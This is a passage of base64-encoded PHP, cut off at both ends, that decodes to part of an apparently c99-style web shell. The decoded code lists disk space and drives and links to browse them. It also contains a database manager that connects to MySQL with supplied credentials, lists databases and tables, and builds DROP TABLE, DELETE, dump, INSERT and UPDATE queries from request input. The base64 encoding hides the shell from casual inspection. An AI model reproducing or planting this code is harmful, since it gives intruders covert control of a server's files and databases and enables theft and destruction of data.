vcigkZCkuIjwvYj4iOwp9CmlmIChpc19jYWxsYWJsZSgiZGlza19mcmVlX3NwYWNlIikpCnsKICRmcmVlID0gZGlza19mcmVlX3NwYWNlKCRkKTsKICR0b3RhbCA9IGRpc2tfdG90YWxfc3BhY2UoJGQpOwogaWYgKCRmcmVlID09PSBGQUxTRSkgeyRmcmVlID0gMDt9CiBpZiAoJHRvdGFsID09PSBGQUxTRSkgeyR0b3RhbCA9IDA7fQogaWYgKCRmcmVlIDwgMCkgeyRmcmVlID0gMDt9CiBpZiAoJHRvdGFsIDwgMCkgeyR0b3RhbCA9IDA7fQogJHVzZWQgPSAkdG90YWwtJGZyZWU7CiAkZnJlZV9wZXJjZW50ID0gcm91bmQoMTAwLygkdG90YWwvJGZyZWUpLDIpOwogZWNobyAiPGJyPjxiPkZyZWUgIi52aWV3X3NpemUoJGZyZWUpLiIgb2YgIi52aWV3X3NpemUoJHRvdGFsKS4iICgiLiRmcmVlX3BlcmNlbnQuIiUpPC9iPiI7Cn0KZWNobyAiPGJyPiI7CiRsZXR0ZXJzID0gIiI7CmlmICgkd2luKQp7CiAkdiA9IGV4cGxvZGUoIlxcIiwkZCk7CiAkdiA9ICR2WzBdOwogZm9yZWFjaCAocmFuZ2UoImEiLCJ6IikgYXMgJGxldHRlcikKIHsKICAkYm9vbCA9ICRpc2Rpc2tldHRlID0gaW5fYXJyYXkoJGxldHRlciwkc2FmZW1vZGVfZGlza2V0dGVzKTsKICBpZiAoISRib29sKSB7JGJvb2wgPSBpc19kaXIoJGxldHRlci4iOlxcIik7fQogIGlmICgkYm9vbCkKICB7CiAgICRsZXR0ZXJzIC49ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PWxzJmQ9Ii51cmxlbmNvZGUoJGxldHRlci4iOlxcIikuIlwiIi4oJGlzZGlza2V0dGU/IiBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ01ha2Ugc3VyZSB0aGF0IHRoZSBkaXNrZXR0ZSBpcyBpbnNlcnRlZCBwcm9wZXJseSwgb3RoZXJ3aXNlIGFuIGVycm9yIG1heSBvY2N1ci4nKVwiIjoiIikuIj5bICI7CiAgIGlmICgkbGV0dGVyLiI6IiAhPSAkdikgeyRsZXR0ZXJzIC49ICRsZXR0ZXI7fQogICBlbHNlIHskbGV0dGVycyAuPSAiPGZvbnQgY29sb3I9Z3JlZW4+Ii4kbGV0dGVyLiI8L2ZvbnQ+Ijt9CiAgICRsZXR0ZXJzIC49ICIgXTwvYT4gIjsKICB9CiB9CiBpZiAoIWVtcHR5KCRsZXR0ZXJzKSkge2VjaG8gIjxiPkRldGVjdGVkIGRyaXZlczwvYj46ICIuJGxldHRlcnMuIjxicj4iO30KfQppZiAoY291bnQoJHF1aWNrbGF1bmNoKSA+IDApCnsKIGZvcmVhY2goJHF1aWNrbGF1bmNoIGFzICRpdGVtKQogewogICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiVkIix1cmxlbmNvZGUoJGQpLCRpdGVtWzFdKTsKICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlc29ydCIsJHNvcnQsJGl0ZW1bMV0pOwogICR2ID0gcmVhbHBhdGgoJGQuIi4uIik7CiAgaWYgKGVtcHR5KCR2KSkgeyRhID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsgdW5zZXQoJGFbY291bnQoJGEpLTJdKTsgJHYgPSBqb2luKERJUkVDVE9SWV9TRVBBUkFUT1IsJGEpO30KICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIldXBkIix1cmxlbmNvZGUoJHYpLCRpdGVtWzFdKTsKICBlY2hvICI8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+Ii4kaXRlbVswXS4iPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyI7CiB9Cn0KZWNobyAiPC9wPjwvdGQ+PC90cj48L3RhYmxlPjxicj4iOwppZiAoKCFlbXB0eSgkZG9uYXRlZF9odG1sKSkgYW5kIChpbl9hcnJheSgkYWN0LCRkb25hdGVkX2FjdCkpKSB7ZWNobyAiPFRBQkxFIHN0eWxlPVwiQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZVwiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjEwMCVcIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQgd2lkdGg9XCIxMDAlXCIgdmFsaWduPVwidG9wXCI+Ii4kZG9uYXRlZF9odG1sLiI8L3RkPjwvdHI+PC90YWJsZT48YnI+Ijt9CmVjaG8gIjxUQUJMRSBzdHlsZT1cIkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2VcIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxMDAlXCIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkIHdpZHRoPVwiMTAwJVwiIHZhbGlnbj1cInRvcFwiPiI7CmlmICgkYWN0ID09ICIiKSB7JGFjdCA9ICRkc3BhY3QgPSAibHMiO30KaWYgKCRhY3QgPT0gInNxbCIpCnsKICRzcWxfc3VybCA9ICRzdXJsLiJhY3Q9c3FsIjsKIGlmICgkc3FsX2xvZ2luKSAgeyRzcWxfc3VybCAuPSAiJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7fQogaWYgKCRzcWxfcGFzc3dkKSB7JHNxbF9zdXJsIC49ICImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpO30KIGlmICgkc3FsX3NlcnZlcikgeyRzcWxfc3VybCAuPSAiJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTt9CiBpZiAoJHNxbF9wb3J0KSAgIHskc3FsX3N1cmwgLj0gIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTt9CiBpZiAoJHNxbF9kYikgICAgIHskc3FsX3N1cmwgLj0gIiZzcWxfZGI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpO30KICRzcWxfc3VybCAuPSAiJiI7CiA/PjxoMz5BdHRlbnRpb24hIFNRTC1NYW5hZ2VyIGlzIDx1Pk5PVDwvdT4gcmVhZHkgbW9kdWxlISBEb24ndCByZXBvcnRzIGJ1Z3MuPC9oMz48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGhlaWdodD0xIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MSBib3JkZXJjb2xvcj0iI0MwQzBDMCI+PHRyPjx0ZCB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxIiBjb2xzcGFuPSIyIiB2YWxpZ249InRvcCI+PGNlbnRlcj48P3BocAogaWYgKCRzcWxfc2VydmVyKQogewogICRzcWxfc29jayA9IG15c3FsX2Nvbm5lY3QoJHNxbF9zZXJ2ZXIuIjoiLiRzcWxfcG9ydCwgJHNxbF9sb2dpbiwgJHNxbF9wYXNzd2QpOwogICRlcnIgPSBteXNxbF9zbWFydGVycm9yKCk7CiAgQG15c3FsX3NlbGVjdF9kYigkc3FsX2RiLCRzcWxfc29jayk7CiAgaWYgKCRzcWxfcXVlcnkgYW5kICRzdWJtaXQpIHskc3FsX3F1ZXJ5X3Jlc3VsdCA9IG15c3FsX3F1ZXJ5KCRzcWxfcXVlcnksJHNxbF9zb2NrKTsgJHNxbF9xdWVyeV9lcnJvciA9IG15c3FsX3NtYXJ0ZXJyb3IoKTt9CiB9CiBlbHNlIHskc3FsX3NvY2sgPSBGQUxTRTt9CiBlY2hvICI8Yj5TUUwgTWFuYWdlcjo8L2I+PGJyPiI7CiBpZiAoISRzcWxfc29jaykKIHsKICBpZiAoISRzcWxfc2VydmVyKSB7ZWNobyAiTk8gQ09OTkVDVElPTiI7fQogIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+Q2FuJ3QgY29ubmVjdDwvYj48L2NlbnRlcj4iOyBlY2hvICI8Yj4iLiRlcnIuIjwvYj4iO30KIH0KIGVsc2UKIHsKICAkc3FscXVpY2tsYXVuY2ggPSBhcnJheSgpOwogICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIkluZGV4Iiwkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiYiKTsKICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJRdWVyeSIsJHNxbF9zdXJsLiJzcWxfYWN0PXF1ZXJ5JnNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpKTsKICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJTZXJ2ZXItc3RhdHVzIiwkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfYWN0PXNlcnZlcnN0YXR1cyIpOwogICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlNlcnZlciB2YXJpYWJsZXMiLCRzdXJsLiJhY3Q9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJnNxbF9hY3Q9c2VydmVydmFycyIpOwogICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlByb2Nlc3NlcyIsJHN1cmwuImFjdD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImc3FsX2FjdD1wcm9jZXNzZXMiKTsKICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJMb2dvdXQiLCRzdXJsLiJhY3Q9c3FsIik7CiAgZWNobyAiPGNlbnRlcj48Yj5NeVNRTCAiLm15c3FsX2dldF9zZXJ2ZXJfaW5mbygpLiIgKHByb3RvIHYuIi5teXNxbF9nZXRfcHJvdG9faW5mbyAoKS4iKSBydW5uaW5nIGluICIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIjoiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iIGFzICIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iQCIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiAocGFzc3dvcmQgLSBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiKTwvYj48YnI+IjsKICBpZiAoY291bnQoJHNxbHF1aWNrbGF1bmNoKSA+IDApIHtmb3JlYWNoKCRzcWxxdWlja2xhdW5jaCBhcyAkaXRlbSkge2VjaG8gIlsgPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPjxiPiIuJGl0ZW1bMF0uIjwvYj48L2E+IF0gIjt9fQogIGVjaG8gIjwvY2VudGVyPiI7CiB9CiBlY2hvICI8L3RkPjwvdHI+PHRyPiI7CiBpZiAoISRzcWxfc29jaykgez8+PHRkIHdpZHRoPSIyOCUiIGhlaWdodD0iMTAwIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Zm9udCBzaXplPSI1Ij4gaSA8L2ZvbnQ+PC9jZW50ZXI+PGxpPklmIGxvZ2luIGlzIG51bGwsIGxvZ2luIGlzIG93bmVyIG9mIHByb2Nlc3MuPGxpPklmIGhvc3QgaXMgbnVsbCwgaG9zdCBpcyBsb2NhbGhvc3Q8L2I+PGxpPklmIHBvcnQgaXMgbnVsbCwgcG9ydCBpcyAzMzA2IChkZWZhdWx0KTwvdGQ+PHRkIHdpZHRoPSI5MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxUQUJMRSBoZWlnaHQ9MSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTAgd2lkdGg9IjEwMCUiIGJvcmRlcj0wPjx0cj48dGQ+Jm5ic3A7PGI+UGxlYXNlLCBmaWxsIHRoZSBmb3JtOjwvYj48dGFibGU+PHRyPjx0ZD48Yj5Vc2VybmFtZTwvYj48L3RkPjx0ZD48Yj5QYXNzd29yZDwvYj4mbmJzcDs8L3RkPjx0ZD48Yj5EYXRhYmFzZTwvYj4mbmJzcDs8L3RkPjwvdHI+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiIgbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPjx0cj48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9InJvb3QiIG1heGxlbmd0aD0iNjQiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9IiIgbWF4bGVuZ3RoPSI2NCI+PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9kYiIgdmFsdWU9IiIgbWF4bGVuZ3RoPSI2NCI+PC90ZD48L3RyPjx0cj48dGQ+PGI+SG9zdDwvYj48L3RkPjx0ZD48Yj5QT1JUPC9iPjwvdGQ+PC90cj48dHI+PHRkIGFsaWduPXJpZ2h0PjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0ibG9jYWxob3N0IiBtYXhsZW5ndGg9IjY0Ij48L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSIzMzA2IiBtYXhsZW5ndGg9IjYiIHNpemU9IjMiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PC90ZD48P3BocCB9CiBlbHNlCiB7CiAgLy9TdGFydCBsZWZ0IHBhbmVsCiAgaWYgKCFlbXB0eSgkc3FsX2RiKSkKICB7CiAgID8+PHRkIHdpZHRoPSIyNSUiIGhlaWdodD0iMTAwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHN1cmwuImFjdD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImIjsgPz4iPjxiPkhvbWU8L2I+PC9hPjxociBzaXplPSIxIiBub3NoYWRlPjw/cGhwCiAgICRyZXN1bHQgPSBteXNxbF9saXN0X3RhYmxlcygkc3FsX2RiKTsKICAgaWYgKCEkcmVzdWx0KSB7ZWNobyBteXNxbF9zbWFydGVycm9yKCk7fQogICBlbHNlCiAgIHsKICAgIGVjaG8gIi0tLVsgPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiImXCI+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiI8L2I+PC9hPiBdLS0tPGJyPiI7CiAgICAkYyA9IDA7CiAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7JGNvdW50ID0gbXlzcWxfcXVlcnkgKCJTRUxFQ1QgQ09VTlQoKikgRlJPTSAiLiRyb3dbMF0pOyAkY291bnRfcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGNvdW50KTsgZWNobyAiPGI+wrsmbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9kYj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIiZzcWxfdGJsPSIuaHRtbHNwZWNpYWxjaGFycygkcm93WzBdKS4iXCI+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRyb3dbMF0pLiI8L2I+PC9hPiAoIi4kY291bnRfcm93WzBdLiIpPC9icj48L2I+IjsgbXlzcWxfZnJlZV9yZXN1bHQoJGNvdW50KTsgJGMrKzt9CiAgICBpZiAoISRjKSB7ZWNobyAiTm8gdGFibGVzIGZvdW5kIGluIGRhdGFiYXNlLiI7fQogICB9CiAgfQogIGVsc2UKICB7CiAgID8+PHRkIHdpZHRoPSIxIiBoZWlnaHQ9IjEwMCIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNxbF9zdXJsOyA/PiI+PGI+SG9tZTwvYj48L2E+PGhyIHNpemU9IjEiIG5vc2hhZGU+PD9waHAKICAgJHJlc3VsdCA9IG15c3FsX2xpc3RfZGJzKCRzcWxfc29jayk7CiAgIGlmICghJHJlc3VsdCkge2VjaG8gbXlzcWxfc21hcnRlcnJvcigpO30KICAgZWxzZQogICB7CiAgICA/Pjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48c2VsZWN0IG5hbWU9InNxbF9kYiI+PD9waHAKICAgICRjID0gMDsKICAgICRkYnMgPSAiIjsKICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXN1bHQpKSB7JGRicyAuPSAiPG9wdGlvbiB2YWx1ZT1cIiIuJHJvd1swXS4iXCIiOyBpZiAoJHNxbF9kYiA9PSAkcm93WzBdKSB7JGRicyAuPSAiIHNlbGVjdGVkIjt9ICRkYnMgLj0gIj4iLiRyb3dbMF0uIjwvb3B0aW9uPiI7ICRjKys7fQogICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIlwiPkRhdGFiYXNlcyAoIi4kYy4iKTwvb3B0aW9uPiI7CiAgICBlY2hvICRkYnM7CiAgIH0KICAgPz48L3NlbGVjdD48aHIgc2l6ZT0iMSIgbm9zaGFkZT5QbGVhc2UsIHNlbGVjdCBkYXRhYmFzZTxociBzaXplPSIxIiBub3NoYWRlPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyI+PC9mb3JtPjw/cGhwCiAgfQogIC8vRW5kIGxlZnQgcGFuZWwKICBlY2hvICI8L3RkPjx0ZCB3aWR0aD1cIjEwMCVcIiBoZWlnaHQ9XCIxXCIgdmFsaWduPVwidG9wXCI+IjsKICAvL1N0YXJ0IGNlbnRlciBwYW5lbAogICRkaXBsYXkgPSBUUlVFOwogIGlmICgkc3FsX2RiKQogIHsKICAgaWYgKCFpc19udW1lcmljKCRjKSkgeyRjID0gMDt9CiAgIGlmICgkYyA9PSAwKSB7JGMgPSAibm8iO30KICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT48Y2VudGVyPjxiPlRoZXJlIGFyZSAiLiRjLiIgdGFibGUocykgaW4gdGhpcyBEQiAoIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiIpLjxicj4iOwogICBpZiAoY291bnQoJGRicXVpY2tsYXVuY2gpID4gMCkge2ZvcmVhY2goJGRic3FscXVpY2tsYXVuY2ggYXMgJGl0ZW0pIHtlY2hvICJbIDxhIGhyZWY9XCIiLiRpdGVtWzFdLiJcIj4iLiRpdGVtWzBdLiI8L2E+IF0gIjt9fQogICBlY2hvICI8L2I+PC9jZW50ZXI+IjsKICAgJGFjdHMgPSBhcnJheSgiIiwiZHVtcCIpOwogICBpZiAoJHNxbF9hY3QgPT0gInRibGRyb3AiKSB7JHNxbF9xdWVyeSA9ICJEUk9QIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9CiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibGVtcHR5IikgeyRzcWxfcXVlcnkgPSAiIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiREVMRVRFIEZST00gYCIuJHYuImAgXG4iO30gJHNxbF9hY3QgPSAicXVlcnkiO30KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJsZHVtcCIpIHtpZiAoY291bnQoJGJveHRibCkgPiAwKSB7JGRtcHRibHMgPSAkYm94dGJsO30gZWxzZWlmKCR0aGlzdGJsKSB7JGRtcHRibHMgPSBhcnJheSgkc3FsX3RibCk7fSAkc3FsX2FjdCA9ICJkdW1wIjt9CiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibGNoZWNrIikgeyRzcWxfcXVlcnkgPSAiQ0hFQ0sgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF9hY3QgPSAicXVlcnkiO30KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJsb3B0aW1pemUiKSB7JHNxbF9xdWVyeSA9ICJPUFRJTUlaRSBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxyZXBhaXIiKSB7JHNxbF9xdWVyeSA9ICJSRVBBSVIgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF9hY3QgPSAicXVlcnkiO30KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJsYW5hbHl6ZSIpIHskc3FsX3F1ZXJ5ID0gIkFOQUxZWkUgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF9hY3QgPSAicXVlcnkiO30KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAiZGVsZXRlcm93IikgeyRzcWxfcXVlcnkgPSAiIjsgaWYgKCFlbXB0eSgkYm94cm93X2FsbCkpIHskc3FsX3F1ZXJ5ID0gIkRFTEVURSAqIEZST00gYCIuJHNxbF90YmwuImA7Ijt9IGVsc2Uge2ZvcmVhY2goJGJveHJvdyBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIkRFTEVURSAqIEZST00gYCIuJHNxbF90YmwuImAgV0hFUkUiLiR2LiIgTElNSVQgMTtcbiI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSk7fSAkc3FsX2FjdCA9ICJxdWVyeSI7fQogICBlbHNlaWYgKCRzcWxfdGJsX2FjdCA9PSAiaW5zZXJ0IikKICAgewogICAgaWYgKCRzcWxfdGJsX2luc2VydF9yYWRpbyA9PSAxKQogICAgewogICAgICRrZXlzID0gIiI7CiAgICAgJGFrZXlzID0gYXJyYXlfa2V5cygkc3FsX3RibF9pbnNlcnQpOwogICAgIGZvcmVhY2ggKCRha2V5cyBhcyAkdikgeyRrZXlzIC49ICJgIi5hZGRzbGFzaGVzKCR2KS4iYCwgIjt9CiAgICAgaWYgKCFlbXB0eSgka2V5cykpIHska2V5cyA9IHN1YnN0cigka2V5cywwLHN0cmxlbigka2V5cyktMik7fQogICAgICR2YWx1ZXMgPSAiIjsKICAgICAkaSA9IDA7CiAgICAgZm9yZWFjaCAoYXJyYXlfdmFsdWVzKCRzcWxfdGJsX2luc2VydCkgYXMgJHYpIHtpZiAoJGZ1bmN0ID0gJHNxbF90YmxfaW5zZXJ0X2Z1bmN0c1skYWtleXNbJGldXSkgeyR2YWx1ZXMgLj0gJGZ1bmN0LiIgKCI7fSAkdmFsdWVzIC49ICInIi5hZGRzbGFzaGVzKCR2KS4iJyI7IGlmICgkZnVuY3QpIHskdmFsdWVzIC49ICIpIjt9ICR2YWx1ZXMgLj0gIiwgIjsgJGkrKzt9CiAgICAgaWYgKCFlbXB0eSgkdmFsdWVzKSkgeyR2YWx1ZXMgPSBzdWJzdHIoJHZhbHVlcywwLHN0cmxlbigkdmFsdWVzKS0yKTt9CiAgICAgJHNxbF9xdWVyeSA9ICJJTlNFUlQgSU5UTyBgIi4kc3FsX3RibC4iYCAoICIuJGtleXMuIiApIFZBTFVFUyAoICIuJHZhbHVlcy4iICk7IjsKICAgICAkc3FsX2FjdCA9ICJxdWVyeSI7CiAgICAgJHNxbF90YmxfYWN0ID0gImJyb3dzZSI7CiAgICB9CiAgICBlbHNlaWYgKCRzcWxfdGJsX2luc2VydF9yYWRpbyA9PSAyKQogICAgewogICAgICRzZXQgPSBteXNxbF9idWlsZHdoZXJlKCRzcWxfdGJsX2luc2VydCwiLCAiLCRzcWxfdGJsX2luc2VydF9mdW5jdHMpOwogICAgICRzcWxfcXVlcnkgPSAiVVBEQVRFIGAiLiRzcWxfdGJsLiJgIFNFVCAiLiRzZXQuIiBXSEVSRSAiLiRzcWxfdGJsX2luc2VydF9xLiIgTElNSVQgMTsiOwogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5KSBvciBwcmludChteXNxbF9zbWFydGVycm9yKCkpOwogICAgICRyZXN1bHQgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQyk7CiAgICAgJHNxbF9hY3QgPSAicXVlcnkiOwogICAgICRzcWxfdGJsX2FjdCA9ICJicm93c2UiOwogICAgfQogICB9CiAgIGlmICgkc3FsX2FjdCA9PSAicXVlcnkiKQogICB7CiAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7CiAgICBpZiAoKCRzdWJtaXQpIGFuZCAoISRzcWxfcXVlcnlfcmVzdWx0KSBhbmQgKCRzcWxfY29uZmlybSkpIHtpZiAoISRzcWxfcXVlcnlfZXJyb3IpIHskc3FsX3F1ZXJ5X2Vycm9yID0gIlF1ZXJ5IHdhcyBlbXB0eSI7fSBlY2hvICI8Yj5FcnJvcjo8L2I+IDxicj4iL